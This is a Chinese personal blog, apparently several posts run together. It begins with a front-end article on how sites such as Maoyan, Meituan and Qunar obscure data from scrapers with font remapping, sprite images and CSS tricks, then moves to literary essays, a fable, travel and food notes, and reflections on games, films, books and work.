—— 同时发表于imweb.io

1. 前言

对于一张网页，我们往往希望它是结构良好，内容清晰的，这样搜索引擎才能准确地认知它。
而反过来，又有一些情景，我们不希望内容能被轻易获取，比方说电商网站的交易额，教育网站的题目等。因为这些内容，往往是一个产品的生命线，必须做到有效地保护。这就是爬虫与反爬虫这一话题的由来。

2. 常见反爬虫策略

但是世界上没有一个网站，能做到完美地反爬虫。

如果页面希望能在用户面前正常展示，同时又不给爬虫机会，就必须要做到识别真人与机器人。因此工程师们做了各种尝试，这些策略大多采用于后端，也是目前比较常规单有效的手段，比如：

• User-Agent + Referer检测
• 账号及Cookie验证
• 验证码
• IP限制频次

而爬虫是可以无限逼近于真人的，比如：

• chrome headless或phantomjs来模拟浏览器环境
• tesseract识别验证码
• 代理IP淘宝就能买到

所以我们说，100%的反爬虫策略？不存在的。
更多的是体力活，是个难易程度的问题。

不过作为前端工程师，我们可以增加一下游戏难度，设计出一些很(sang)有(xin)意(bing)思(kuang)的反爬虫策略。

3. 前端与反爬虫

3.1 font-face拼凑式

例子：猫眼电影

猫眼电影里，对于票房数据，展示的并不是纯粹的数字。
页面使用了font-face定义了字符集，并通过unicode去映射展示。也就是说，除去图像识别，必须同时爬取字符集，才能识别出数字。

并且，每次刷新页面，字符集的url都是有变化的，无疑更大难度地增加了爬取成本。

3.2 background拼凑式

例子：美团

与font的策略类似，美团里用到的是background拼凑。数字其实是图片，根据不同的background偏移，显示出不同的字符。

并且不同页面，图片的字符排序也是有区别的。不过理论上只需生成0-9与小数点，为何有重复字符就不是很懂。

页面A：

页面B：

3.3 字符穿插式

例子：微信公众号文章

某些微信公众号的文章里，穿插了各种迷之字符，并且通过样式把这些字符隐藏掉。
这种方式虽然令人震惊…但其实没有太大的识别与过滤难度，甚至可以做得更好，不过也算是一种脑洞吧。

对了，我的手机流量可以找谁报销吗？

3.4 伪元素隐藏式

例子：汽车之家

汽车之家里，把关键的厂商信息，做到了伪元素的content里。
这也是一种思路：爬取网页，必须得解析css，需要拿到伪元素的content，这就提升了爬虫的难度。

3.5 元素定位覆盖式

例子：去哪儿

还有热爱数学的去哪儿，对于一个4位数字的机票价格，先用四个i标签渲染，再用两个b标签去绝对定位偏移量，覆盖故意展示错误的i标签，最后在视觉上形成正确的价格…

这说明爬虫会解析css还不行，还得会做数学题。

3.6 iframe异步加载式

例子：网易云音乐

网易云音乐页面一打开，html源码里几乎只有一个iframe，并且它的src是空白的：about:blank。接着js开始运行，把整个页面的框架异步塞到了iframe里面…

不过这个方式带来的难度并不大，只是在异步与iframe处理上绕了个弯（或者有其他原因，不完全是基于反爬虫考虑），无论你是用selenium还是phantom，都有API可以拿到iframe里面的content信息。

3.7 字符分割式

例子：全网代理IP

在一些展示代理IP信息的页面，对于IP的保护也是大费周折。

他们会先把IP的数字与符号分割成dom节点，再在中间插入迷惑人的数字，如果爬虫不知道这个策略，还会以为自己成功拿到了数值；不过如果爬虫注意到，就很好解决了。

3.8 字符集替换式

例子：去哪儿移动侧

同样会欺骗爬虫的还有去哪儿的移动版。

html里明明写的3211，视觉上展示的却是1233。原来他们重新定义了字符集，3与1的顺序刚好调换得来的结果…

一、

每个春天，候鸟都会来到这片花田。
每个不是春天的季节，花匠总在认真地打理花田。花匠想让一切看起来未来可期，因为他喜欢这只候鸟。喜欢，是因为他们都爱花。那些关于花的话题，他们永远聊不完。

有一个春天，候鸟跟花匠说起了她家乡的雪莲。
这种花，花匠从来没听说过。但每次说起雪莲，花匠都能注意到她眼中飞扬的光亮。是的，那是候鸟最心爱的花儿。

二、

花匠决定要去摘一朵雪莲。
他没有翅膀，需要跨过无数高山与大海。他也没有出行的经验，收拾简单的行李都会丢三落四。而且他还很擅长幻想，这是一个致命的弱点。湖泊的水怪，雪山的巨人，时长出现在梦中。
不过，他还是出发了。花匠真想看看雪莲的姿态。
他觉得自己会喜欢雪莲的，因为候鸟的喜欢。

从来没有如此漫长的旅程。花匠受了伤，留了血，靠着花茶治愈，又继续前行。后来，在与巨熊搏斗时，他滚落了山崖。眼中透着一层血雾，他看到了一朵雪莲。

他觉得需要眯起眼睛，才敢欣赏雪莲的美丽。仿佛周遭都是黑暗的，只有这朵花，散发出蛛丝一样细的光线，然后越来越浓厚，变成了纯洁的羽绒，温暖地拨开他的眼帘。然后他称赞道，好美啊。

三、

就这样，在下一个春天，花匠把雪莲送给了候鸟。他微笑着，在等待她的反应。
候鸟说：“谢谢你。但我只能说谢谢，说不出其他的话来了。因为这朵花很普通，我知道它们盛开在哪个山谷，我挥一挥翅膀就能取到。虽然你很辛苦，但我理解不了你，请你原谅。”

花匠有一点点失落。他不安地摸摸自己头，还有些许尴尬。但他也开始明白一些道理。他想起《小王子》里的那朵独一无二的玫瑰。

候鸟安慰花匠说：“来年春天，我捎来一枝最好的雪莲送你，好吗？”
花匠重新露出了笑容，因为没有什么，比爱人的礼物更值得期待了。

四、

候鸟离去不久，花匠就开始担心起来。因为他确实擅长幻想。
他担心这朵雪莲，会成为候鸟迁徙的累赘。夜来无眠，他脑中尽是想象候鸟照看雪莲的情景。

雪莲需要水分，她会不会在河边浇灌？那里会不会有鳄鱼？
雪莲需要阳光，她会不会登上最高的山头？那里会不会有猛禽？
雪莲的花瓣那么娇嫩，她是不是不能自由飞行？

正当花匠以为候鸟会因为不顺畅的旅途，而姗姗来迟时，候鸟给了他一个意外。这一个春天，她甚至比以往更早出现在他面前。
她嘴里叼着一朵雪莲，一朵最美的雪莲。

“谢谢你，没有什么比这更美的了！”花匠说。
候鸟回答说：“可不是吗？我听先行的朋友说，你家附近的山谷里，也开了这种花，所以我没有从家乡带，我刚刚到那儿采的！就在不远的地方。”

五、

一种莫名的失落感笼罩了花匠。他觉得这朵雪莲一点都不美了。
至少，要比自己采的那朵“普通的”雪莲差得多。他甚至有点厌恶雪莲散发出的，蛛丝般的光芒，那些可恶的光芒，下一刻好像就要变成巨网，向他扑来，令人窒息。

候鸟很伤心，她叹气说：“我不懂。”
花匠也摇摇头，他也不懂自己为何悲伤。
候鸟继续说：“那是一个承诺，我没有忘记，虽然鸟儿记性都不好，对吗？”
花匠说：“是的。”
候鸟说：“雪莲开放在你的花田不远的山谷，是好事吗？”
花匠说：“太好了。”
候鸟说：“刚采的雪莲是最鲜艳的，我想你能看到它最美的样子。”
花匠说：“谢谢你。”

但花匠也只能说谢谢，说不出其他的话来了。

——Litten 2017.6.5 四点半

扬起帆

这个4月真的特别丧…
开心的事情屈指可数，貌似也只有朴树的新专辑了。

病后状态一直不好，工作时脑后阴风习习
bug，变成了巨大的飞蛾，每每衔着灵魂四方飘游。
周四晚，无耻地逃了一个会议
下班，拖着疲惫的身体，径直就飞往了杭州。

都这么累了，问自己为什么又在路上了呢？
可能只是我觉得，旅行的时候不用去想以前和以后。
但旅行那么短，而生活那么长
那就更应该不停的出发吧？即使只是一场短暂的幻觉。

我这么想着的时候，这场幻觉正变得越来越真实。
凌晨让头脑额外清醒，飞机下出现了新城
灯火穿透了夜色与云层，越来越浓，背后的飞蛾被引诱扑了下去——
烟消云散。

《空帆船》在耳边唱起：
“那狂风 那不知吉凶 的我的前程
我还是要扬起帆
当我听到 风从我耳旁呼啸着掠过
那一刻我的心狂喜着猛烈地跳动…”

心猛烈地跳动，因为逃避可耻但很有用。

白兔先生与百间楼

一早坐动车去湖州，再转大巴
10点左右，我就踏在南浔古旧的石板路上了。
人好少，甚至连售票处都没有人
想着自己也不认识路，就跟着一只小狗走。
反正爱丽丝也是跟着白兔先生走，才掉进了洞里开启了冒险…
没毛病，要啥GPS？

小狗领着我，南浔的景致慢慢突显出来
河埠沉静，燕子高歌，一圈一圈地在楼间徘徊
我就往燕子多的地方走，所谓“王谢堂前燕”，那里总会有人烟
然而迷了路，停下来，一个洗衣服的大叔告诉我，这是百间楼啊！
惊喜这就是我一开始想找的地方。

就在附近客栈卸下背包，要了一间临河而居的房
也不管下雨了，这就往前行去。
其实江南水乡，乌镇和周庄我小时候都去过
可惜印象不好，到现在脑中只记得沈万三和猪蹄了…
百间楼这一带，才真真切切的是我想象中的水乡呀！

当你看到人们在河边洗衣，棒子捶打衣服激起了涟漪
看到他们沏了一壶茶，给小孩讲水鬼河童的鬼怪故事
看到小狗跳进河里游往对岸，冲着笼中的八哥汪汪叫
老人手持蒲扇，把狗赶开，担心别把自家八哥教坏了…
你才明白这条江河，顺着千年的血脉，流进了他们的灵魂里。

雨中餐

中午雨大，临河就餐
专门要了不明就里的两味菜：丁莲芳千张包子、绣花锦。

这包子伴汤伴葱呈上来，初看十分清淡，咬上一口，浓郁至极
才明白鲜味，好像熟睡在那豆皮裹成的被窝里。
猪肉、干贝、虾仁，哥仨在锅里葛优躺了2小时
待你掀开，三位死宅梦中惊醒，排排坐立了起来…
可以说是好吃得非常有层次了。

绣花锦这名字额外华丽，点菜时专门不去问，想自己猜猜。
因为广式茶点那种稀里花哨的称呼，对我迷之吸引
以前在茶餐厅，点过一个“金钱粥”，端上来是“香蕉片伴白粥”
更悲催的是，我同伴点的“裸体粥”，端上来就是童叟无欺的“白粥”…
你说气不气人？
起个变量名都不遵循基本法？

绣花锦端了上来，一碟白灼青菜。
也就家常菜模样，看着并未觉得有什么特别
举筷夹起，才发现有些许不同，就是有一种清香，入口像是白菜，但更加软糯。
后来才知道，这种菜只长在南浔方圆十里，十里外菜就变种，有形而无香。
这么一想，这味菜就不一样了
好像一个思乡恋家，不想远嫁的闺中小姐。

江南好

中午一觉睡到三点，然后到南边转悠，大多是保存完好的古代大宅。
刘氏梯号在中式风火墙后面，藏匿一座欧式建筑的结构着实有意思
仿佛又燃起了我对古建、以及Minecraft的热情…
想象远在台湾，写《穿墙透壁》的李乾朗教授一定也会如视珍宝吧。

而印象最深的是“求恕里”。这个名字是有多好？
藏书的主人，到底发生了什么事情，才把求以宽恕，冠之以楼名？
简介里说，只是主人一生淡泊名利，不求仕进。
但总觉得不会这么简单，因为在这片土地
细窄的甬道回响着多少故事，江南的烟雨又隐藏了多少秘密？
恐怕再也没有人能说清。

但秘密最好的结局，就是永远成为秘密
而时间能解决的问题，就都不是问题。
谁的心中没有结？谁的记忆里，又全是欢乐时光呢？
想到这些，觉得于我而言，同样是一种安慰和警醒吧。

又顿时觉得很轻松。
好似中午那觉还没睡醒，活在梦中。
江南好啊，风景旧曾谙。
喝酒去！

—— Litten 5.22

4月马上就要过去
似乎日历上，径直就能从3月翻到5月。
时间怎么这么快？

长眠于4月之前的海子，对于时间，有一个生动的说法叫“打马而过”
有时觉得，这种匀速流淌不可变的东西，才是真TM的残忍。
长江水的结局，就是流到太平洋
没有任何意外能让它流到大西洋

所以你说，有时意外的中断多可爱？
红绿灯多好呀，给你走走停停的机会
小病多好呀，静下来休息和幻想
悲伤多好呀，欢乐可放歌，悲伤可饮酒

工作忙完了这阵子
那条安静而蜿蜒的时间之河，好像真的幻化成了打马的鞭子
梦中啪的一声惊响，病倒了。

躺在床上仔细想想
这段时间还是忙业务，加之招聘等乱七八糟的事情，身心的确疲惫。
这次的开发工作，也备具挑战性，但也是好事。
年初评审完，我就想好今年对自己的要求，一个是“成事”，一个是“破局”。
技术这块，还是想有突破
我讨厌把自己的能力和思考，都锁在一个for循环里…
既然这样，就无怨无悔吧。

打点滴的时候突发奇想
既然是“病”，无独有偶，就继续看《霍乱时期的爱情》吧！
不出意料，一章半后又看不下去了…

马尔克斯的书，永远会给我一个强烈吸引的契机
然后你顺藤摸瓜，瓜还没摸到，就感觉藤蔓比想象中的长
里面有孤独，却是浪漫的；有爱情，又是矛盾的
一次次，这混乱的藤蔓让你撤了手，随后又会惦记着没摸到的瓜。
虽然烦恼，但没什么办法，只能等下次了
也可能是因为兴致不高。

说起兴致，这段时间对《塞尔达传说：荒野之息》很感兴趣。
病假里看了些直播视频，感叹真是高水平的创意设计
我想，如果能参与开发出这样的作品，那洒家一辈子也值了！
之前，朋友问过我，你要不要买Switch玩一下？
我的第一反应就是不买
事后想了想，这要是3年前的我，第一反应一定是会买的。

可能我变了。
但有些事不宜多想，有些时间不应产生留恋
打马而过自有它的残忍，也有它的痛快。
明媚的4月啊，
要是心情郁闷的时候，用手托腮就好，
手臂会因为帮上忙而开心的。

一

这周感觉我的vscode已经“玩得贼6”
一切来之不易，毕竟是五次卸载sublime改掉的习惯。
不过这丝毫不影响我对sublime的喜爱
有人问为什么？
没法解释。大话西游里也曾说
喜欢一个编辑器需要理由吗？

但有点令人沮丧的是，“喜欢”这件事确实是会变的。

我有另外的感受，特别是在这周
迫不及待地把《刺客信条》电影看完的时候…
感觉特别的失望。
就是那种经行漫长的等候，期待一场肆无忌惮的雨
最后只听到了低沉雷声的空洞感。
但是，我也一曾很喜欢这个系列啊。

可能，再也不会有一款游戏，能给我带来这样的触动了吧。
五年前，我还写过点文字《记“刺客信条”三部曲：水月镜像，无心去来》。

二

刺客，优雅而自由。
兜帽遮住了他们的眉宇，新月似的眼神更加坚韧
然后他们开始奔跑，在庭院与房顶，在星辉抚摸的街道
披风猎猎翻卷，背后是雄奇又陈腐的都市，前方是正义而荣耀的理想
他们找到了目标，袖剑闪动，鲜血绽放
最后不发一言，默默离去。

当然除了这种“事了拂衣去”的热血，迷人之处还有一些隐喻。
比如后来才发觉，好几个重要的任务，都是安排刺客在教堂尖顶，从天而降，完成刺杀。
因为教堂，通常是文艺复兴时期城市的最高点，象征着天堂。
而刺客的行为，仔细想来，是一条“从天堂到地狱”之路。
为了终结他眼中的邪恶，为了城市更加的辉煌
也只有冒天下之不韪，只身落下地狱了，甚至，背负骂名。
这种反讽的隐喻，又给了刺客一些灵动的忧伤。

再后来，一些意外的文化思考，又有了惊喜。
因为偶然发现，《刺客信条》居然跟《倚天屠龙记》有点关系…
张无忌的明教武功，书里说为创始人霍山所创
而历史上的霍山，最著名的事迹，就是创建了“阿萨辛派（Assassin）”刺客组织，也就是游戏中的兄弟会前身。
所以讲不好，乾坤大挪移就是阿泰尔偷东西的那一招？
张无忌，讲道理是兄弟会的…中国常任理事会主席？

三

遗憾的是，这些或迷人或有趣的设定没能一直延伸。
最近的几作，叙事过于空洞，人物失去了灵魂
刺客，匆匆的身影，反而更像个过客。
每次我爬上俯瞰点，眺望着城市的神韵，也还是会感叹：好美啊！
但好像，也只能停留在“美”的层面了。

我还是喜欢以前。
喜欢奔马高扬前蹄，嘶鸣掠过的罗马
喜欢明丽的音乐，随阿尔诺河一起流淌的翡冷翠
喜欢巍巍然屹立于大地的君士坦丁堡
还有孤僻而善良的阿泰尔，缜密而大气的艾吉奥…

所以，事情变得无趣的原因很简单：
我变了，sublime没变；我没变，游戏变了。
总之，你们的步调不一样了，
这在物理里，叫“相对位移”
在古文里，叫“曾经沧海难为水”
在王家卫里，叫“可我也只能到喜欢为止了”…

既然你不能阻止世界的改变，那唯一值得去做的
就是找到步伐一致的事情，找到那个志趣相投的人吧。

终于是把T3评审的事情忙完
周末躺在床上整个人都不想动，空虚无比，宛如智障。
这种状态，只有高考结束时出现过
那时我的日记里写着：
“我站在太阳下，就是金灿灿的咸鱼；
我躺在被窝里，就是阴绵绵的豆腐脑…”
别说这是神比喻。

因为这次评审，确实耗费了挺大的精力
关键还是在年后返工的第一周，你正吃着元宵唱着歌
突然跑出个班主任说：咱放完寒假就高考，好吗？
好生气哦，但还要保持微笑。
况且想想，年终奖好像还没发哎…

就在这种迷之氛围里，迎来了评审的那天。
煮了个鸡蛋做早餐，还不小心煮破了，虽然我不信这个，但隐隐有余悸。
拍张照片发给朋友，小心翼翼地说：完了。毁于一蛋！
他们保持了足够长的沉默…
最终帮我解释为“小宇宙爆发出洪荒之力”的意思。

有你们真好！辛苦了！

但其实评审的发挥还算正常
反正你能说的东西就摆在那儿了
腾讯的专家大大们，又不是小孩子，自己的优缺点是逃不过他们的眼睛的。
唯一惶恐的就是，开始前的15分钟，决定把ppt里音视频性能优化的部分去掉了
毕竟那部分不是我做的
删掉虽然单薄，但真实一点吧。

不过还好，评委老师的建议非常中肯，非常感谢他们。
真心觉得学无止境，技术之路漫漫长，2017好好加油
用我爸的浮夸标语就是：撸起袖子加油干，甩开膀子使劲拼！
当然我得先过几天咸鱼生活调整一下…

也要谢谢前一天陪我去看《乘风破浪》的那个人
温暖的春日，把这周紧绷的弦放松了一下
也让我觉得，世上有些事情
注定是会乘风破浪的呢

痛仰有一首歌，叫《美丽新世界》，它其实是向80年前赫胥黎的同名小说致敬。
歌里唱道：
“这是一个离奇的梦也是冒险者的乐园
不在乎你在不在乎新的世界依旧美丽…”

乌托邦如此美好，但在那里，幸福的人们全都是“被幸福的”。
你的在乎与否无关紧要，只需要按照秩序继续漫步。

春节把《西部世界》看完，它的一些设定，也很容易看出致敬小说的意思，却又带来了另外的惊喜。
片尾Dolores的惊艳一枪尘埃落定，现在已经过去一段时间，花哨的剪辑褪出了印象，细微的东西反而更加深刻了。
还是想谈一谈这部作品。(含剧透…)

神识

有一个说法，人的快感源于两样东西，创造与毁灭。
当这两样东西随手可为，不费力气，自然就超越了人的范畴。
Ford坐在园区的餐厅，对面是前来施压的Theresa
下一刻，机器人服务生静止于一瞬，红酒漫过杯沿溢出台面…
杀意，往往不热烈
而是涌动于平静的掌控之中。

“生存还是毁灭”，这是哈姆雷特的问题，也是每个人的问题。
但不是他的问题。
在西部世界里，这可以简单得，只是他的一个抉择。
Ford笑了，他觉得做神真好。

以至于，何以为悟？
Maeve的觉醒，Bernard的要挟
他们曾一度以为自己扼住了命运的咽喉
到头来只是神的一行代码。
人最绝望的事情，
就是你认识了事情的真相，又无力去改变。

但其实Ford笑得很落寞，做神根本一点都不好
但在众人面前，他只能这样去表演以争取时间。
因为有些事情，不像表面那样简单，那是神也无法改变的。
这个道理，或许以前Arnold会懂
但现在，只能靠自己去坚守了。

真我

而与此同时，年轻的William也开始理解着西部世界的逻辑
作为一个真正的人类，他自然知道事情的真相。
万物皆空，镜花水月，一开始他也这么笃信地认为。
但这个虚拟世界最大的不同，
就是没有现代社会的各种束缚，真实的人性会得到了释放。

他拘身捡起了掉落的罐头，交给眼前的小镇姑娘
Dolores的甜美倩影，支撑起他最丰富的想象。
William不曾想到，后来竟然会与她相爱
这一秒如梦如诗，斜横在他的心头，他忘了现实的婚约
William以为，这就是永恒。

当历经死亡和修复，清空了一切记忆的Dolores
又根据剧本重新出现在甜水镇时，她的甜美笑容一如当初。
William崩溃了。
王尔德说：人生有两个悲剧，第一是想得到的得不到，第二是想得到的得到了。
他以为他得到了Dolores，最后发现永远也得不到。

那一秒不是永恒，只是梦幻泡影。
痛苦欲绝的William终于撕掉现实的伪善，用怨恨和残忍，填充真正的内心。
一次次的屠杀，他用痛苦去激发机器人的意识。
他想要证明，他们可以成为真正的人类；
他内心最柔软最纯净的角落里，坚信那段爱情，真的来过。

同归

创始人Arnold看惯了这一切
经过丧子之痛的他，明白苦痛的滋味。
但这种苦痛，每天都会发生在机器人的身上
毕竟它们只是客人们的玩物。
Ford说，这是个提供至上快乐的天堂，可以带来巨大的财富
Arnold觉得，这是地狱。

何以改变？唯有弑神！
只有创世的神死了，机器人才能摆脱循环往复的人生。
但悲剧是，Arnold和Ford本身，正是这个世界的主宰。
枪声在园区回荡，Arnold的单薄形骸端坐在椅子上，
死得栩栩如生。

自此，一曾走上殊途的Ford，开始明白老朋友的遗志。
这是一条救赎之路，也是一条忍辱负重之路。
Ford说：
“那些用十年去补救错误的人，是最了不起的人。
而我用了35年。”
这个补救就是，他想让认知世界真相的机器人，真正能掌控自己的人生。

一直被控制的Maeve，一曾觉得Ford是邪神，因而她急于离开园区
最后的折返，是她突然醒悟，终于读懂了Ford的用心良苦
原来神，早就站在了他创造的子民这一边。
同样明白一切的Dolores，也最终举起了枪
一如Arnold之死，Ford用这种方式，致敬了他的老伙计。

诸神黄昏，宽之恕之，谢幕之日，觉醒之时。
真正伟大的死亡，是沉入寂静深海的同时，惊起巨浪般的希望。
Ford倒下的时刻，可能这个故事才刚刚开始，
但这次，我们不再一起漫步，而是可以跑向
美丽新世界的彼岸。

年底恰逢乔迁，回去得比较早。
其实也算不上乔迁，爷爷的旧宅子，父辈兄弟合力，翻修重建
多了一个出逃城市，到乡村度假的地方。
当它以新面貌出现在眼前时
不免真的觉得衰败的新生相当感慨。

特别是在年底，这个喜旧迎新的时节
好像很多往事，被年关一催，不断提纯
又沉淀出了最好的那部分。
然后你看着它，只能很简单又笃定的说一声：
好棒哦！

但说起新居入伙，有件事我想起就想笑。
大概10岁时，第一次搬家，有个迷之仪式印象太深刻。
按着习俗，我左手要拿着一根葱，葱通聪，象征聪明伶俐
右手拿一根蒜，蒜通算，意思是会算术。
这活脱就是一羞耻的莹草cosplay啊

跟长辈们瞎扯，终于舍弃了这个套路
“拿着我的macbook就好，毕竟苹果通平，象征平安
而且又是一台‘计蒜机’…”
他们居然觉得很有道理，也是服气

后面几天里，白天帮忙干点农活。
挖了木薯，洗净切段，用小刀竖着裂开一道口子
轻轻拉扯，衣衫脱落，雪白的肢体一览无余。
木薯的做法有很多，但最喜欢清蒸
不放油盐，只靠水气滋养
揭盖满房清香，不等动筷，直接就可用手拿。

再把另一块地种上了百香果
砍了新竹，七八个人合力做成棚架。
很快，春水就要来
可怜的稻草人又要弄湿它的鞋子
而新发的枝苗，会在燕歌和暖阳里肆无忌惮地招摇。
摇啊摇，一会儿就摇到九月。

传说中，现在这段元旦到除夕的时间
由于不知该称之“今年”或“明年”
有人就说，叫薛定谔的年好了！
这么一想，好像许多东西都可以跟薛定谔扯上关系。

比如这周，每天醒来第一件事
就是到12306查一下有没有薛定谔的票
有了，就输入那个神才知道对不对的薛定谔验证码
去完成这笔的鬼才知道成不成功的薛定谔订单

这世道，上半年的代码，到下半年能不能编译都要打个问号
就不要试想真切地看清这繁花世界啦。
Mr.Big不断重复着：Oh baby baby it’s a wild world…
有时候发现我等的就是这几个字。

这周把kindle的书摘和笔记导了出来，是时候整理一下了。
不过这一年的读书感受并不好，也不仅是对最近的畅销书大失所望。

以前有些书看到一半就觉得很糟糕，疑惑怎么会有这么多人喜欢呢？
但批判一件事，就得先完成它。
等到真正看完，你又突然明白了喜爱的理由。
这种奇妙感觉已经太久没遇到了。

然后友谊书城变得越来越吵
而且很会调果茶的那个漂亮姐姐也走了
不知道这两回事有没有必然联系…
反正我是很少再去。

不过看着笔记还是能想起很多事情。
有些摘录根本不知所以，但模糊不清反而会更有意思
仿佛一种梦境的延伸。
它们的存在，证明时光的缝隙里
出现过一瞬间薛定谔式的触动与喜欢

仅此而已，就可知足，就能圆满。
因为有时候，一瞬间的心有灵犀
比一万年的细水长流要隽永得多。

每年这个时候都要趴在这座天桥，拍一张照
看着这个世界似乎没变，但又在喧哗和前行。

这年成长了挺多，也学会看淡一些事情
可能是代码写多了，感觉世界的逻辑有时很简单。
事情无非是let，变化历历
或者是const，永恒安息

如果一开始就想清楚，留不住的就随风去，不会变的就钉到骨子里。
那你说多轻松。

今年最好的专辑是《丑奴儿》
“草东没有派对”，这个百科都还没有词条的乐队，注定是会火的。
事实上，11月才听到这张专辑
大帅推荐给我的时候，我还对这个奇怪的乐队名称咋舌不已。
然后听到了凌晨四点
很多人说像万青，但我更怀念起以前的痛仰。

八百年前的这首词里，辛弃疾早就写下了怀想：欲说还休。
深沉的忧愁，从不需要点破呀
卿卿吾师，多有教我。

最喜欢的番剧是《从零开始的异世界》
……
没什么好说的，站个队吧：
如果真爱有颜色，那一定是#00f

最喜欢的电影是《驴得水》
张一曼这种女子
我本以为最终的最终，注定是要远走的
喜欢鲜花，那就蔓延到天边
花败再开，从头来过，也许她也这么想过

但荒诞的教堂里，众人的面具纷纷揭下
鲜花被践于脚下，只留下了一把枪
自由的方式有两种，要么离去，要么死去…
一记枪声，一记耳光。

最喜欢的书是《巨人的陨落》
事实上市面对这本书有些过誉，但的确引人入胜。
一战前后的爱恨情仇与民族悲欢交织在一起
疯狂的世界，就变得浪漫又冰寒，让人回味不已。
相信后面肯定会拍成美剧
我一定会去看，只为验证一下和心中的人物是否相符。

人们常常嘲笑“螳臂当车”
但有时候啊，你并不是驾车的人
正巧是那只，反抗不了的螳螂。

最喜欢的游戏是《神秘海域4》
当年监狱里的三个男人，最终又站在同一条船上时
Rafe为了名望，Sam为了梦想
才能发现，Nate是如此的单纯——
他只是享受探险过程的乐趣。

这个还会举起水枪自娱自乐的家伙
才是乌托邦世界里的老男孩。
可能，人只要愿意
就可以永远年轻得像个无所畏惧的混蛋吧？

愿你也如此。

17号，回华科。
和上一次不一样，这次多了点儿使命感：做一次前端技术演讲。

学生时代，我听过无数场分享。
总觉得台上高谈阔论嘉宾，离我实在太远。
一次分享，一别两端，然后各自回到自己的生活轨道，再无交集。
或者是我没有入心。

但想不到，这么快台上的这个人就该是我了。
仿佛晚会还在继续，帷幔也没收起。
魔术师说，天色还早呀，我再给你们变个魔术吧
烟雾腾空，灯光明灭，时间掠影而过
我本来是台下端坐的观众，一下子就站到了台上
主持人把话筒一递，说，该你了。

16号，扇了自己几个耳光。
明天，代表腾讯，回华科，你的主场，该你了，发什么呆，快去准备啊！

但准备个屁啊。
我在其他地方跟同行分享总是从容，一想到回华科就紧张得不行…
话是这么说，还是改ppt到了凌晨4点。
就像你考试前说，老子不考了还看什么书？最后还是会把书看了当了孙子。

但结果还不错。
发现自己还是很容易能跟学生们混在一起。
书记和辅导员也都很nice。
他们很多想法都挺好的，而且学院现在也有了钱，可以付之实现。
还吃到了洪山菜苔，这一味菜，胜过了所有山珍海味。

碰到了Java，这次他代表美团回来分享。
气色不错，技术比许多同龄人都要强，也有了女朋友，挺好。
还有专程赶过来的兔子，太贴心了。
一别三年，恍如昨日。

兜兜转转，还是回到了沁苑科创基地。
这个地方，曾满载我的得意与失落，成长与迷失，团聚与孤单。
短短的相聚，一种回家的感觉，晚上看着大家的留言，真的很感动。
我说：希望下次见面，不会太久。

即使一别两端，我也会时常眺望你们的轨道
知道大家都是在努力的方向，就够了。
啊原来是这样。

这次回来，我几乎谁也没有告诉。
本来受学校的邀请，自然是一件光荣的事情。
但昭告天下不是我想做的，也需要保持清醒，我真的还不够好。
要是我真的觉得自己可以了
嗯，我知道，我会说。

以前很喜欢《钢之炼金术士》
牛姨的一番话曾掀起我的幻想，那张图还一直存放在手机里
她说：

在几年前，我扔下这样的一句话就离家出走了：
“不能用漫画养活自己，我誓不回来！”
现在，我的愿望实现了
我在画连载，真是太好了
但这下子又忙得没时间回家了
真是悲喜交集啊

还没到愿望实现的时候呀
Back with silence
那就，再等等

想起网易账户密码泄露，就发生在10月底。
去年的这个时候，我是受害者之一。

但我没有着急改密码。
一是因为那个时候，我过着一种近乎抑郁灰白的生活。
所有的社交工具都停掉了，也不与人交流。
很多事情我不愿碰。
像燃尽的烟柱，自己伸手一掸，搞不好满世界尘埃
还不如让风来悄悄瘗埋。

二是因为一位神秘的朋友闯进了生活。
我很喜欢冲绳民谣，在云音乐里上传了BEGIN的《三线の花》与《笑颜不变》。
这位朋友搞到我的账号密码后，貌似没做什么坏事，光给我推荐歌曲了…
TA先上传了没有版权的《岛人ぬ宝》，再后来是夏川和中孝介的一些歌。
那时，这些音乐，居然成了我跟外界连通的唯一绳索。

有个晚上狂风暴雨，我在深大门口已经等了一小时的车。
最终回到家，直接把湿透的身体，躺在花纹诡异的瓷砖上。
耳边传来中孝介备受摧残的声音…
太爽了。
也许世界虚无和冰冷，但我可以若无其事。
人生苦短，真理靠边站。

深呼吸。
过了午夜，可以，重新开始。

喜びも悲しみも いつの日か唄えるなら
无论喜悦还是悲伤 要说哪天才能歌唱的话
この島の土の中 秋に泣き冬に耐え
在这座岛的土里 泣于深秋 忍受寒冬
春に咲く 三線の花
春天绽放 三线之花

10月的最后一周，想在天气变冷前，完成一组照片。
主题跟树林有关，因为我很喜欢这个季节树叶的厚重感。
不过，木头比人难拍太多了。
人非草木，起码有表情，有温度，可以装扮。
有两次回来，我直接就把照片全删了，心情不太爽，怎么想都是这些树木不配合。

后来妥协，是不是我得自己做些改变，营造一种拟人的环境呢？
因此按快门时，我都很平常的喊一声：“一二三茄子！”
那时天色已黑，别人一看这里没人啊…
吓坏了两个孩子。
对不起！

另外，一个很重要的经验
去小树林记得要带six god…

这只猫，是我在公园认识的。
一年前它还很小，每天穿行于古旧的荔枝林。
傍晚我习惯到公园跑步，总能在固定的地点，看到阳光把它拉成巨大猛兽的情景。
然而它更喜欢阴影。

第一次碰到它，他就躲在阴影里。
因为是在车底，给它起了个名字
叫阿杜…（逻辑满分，拒绝吐槽）

阿杜起先很怕人。
我一走近，它就跳到树丛里，又好奇地瞪大眼珠往外看。
外面的世界很精彩呀，但也可能很危险。这可能是它的信条。
然而，在偶然喂过它几回后，它就单方面宣布和我友好了…
猫以食为天，信条是什么？可以吃吗？

但我只是个过客，阿杜的流浪生活还得继续。
并且，这不意味着自由。
第一，它每个傍晚都要回到公园，因为这里才有游人吃剩的食物；
第二，跟其他小猫不一样，它居然不会爬树！

所以，阿杜对树上的荔枝很感兴趣。
在它的视角，可能那是会日渐变大的玩具球吧。
有次我在树下的石凳上看书，是《树上的男爵》
想到柯西莫倔强地在树上度过一生，阿杜却学不会爬树，这真是个有趣的玩笑。
回过头来，它一动不动地伸长脖子，正瞪着眼睛往上看。
空气里漂浮着明媚的尘埃，它的眼睛里好似藏了个宇宙。

想什么呢？谁知道。反正够不着，像星星。

但不能上树的猫，和在树上不下来的柯西莫才能简单明亮，
最复杂的，是站在地上，又能够着“荔枝”的这个世界。
熟了的苹果，掉下来，砸了牛顿的头。
阿杜却永远等不到荔枝掉下来的那天。

因为，后来发生一件事，说有流浪猫死在树下，也有小孩子经过荔枝林时头晕。
大家都说是荔枝喷了农药。又有公园的工作者出来“澄清”，说没有喷洒农药。
真真假假，早已说不清。
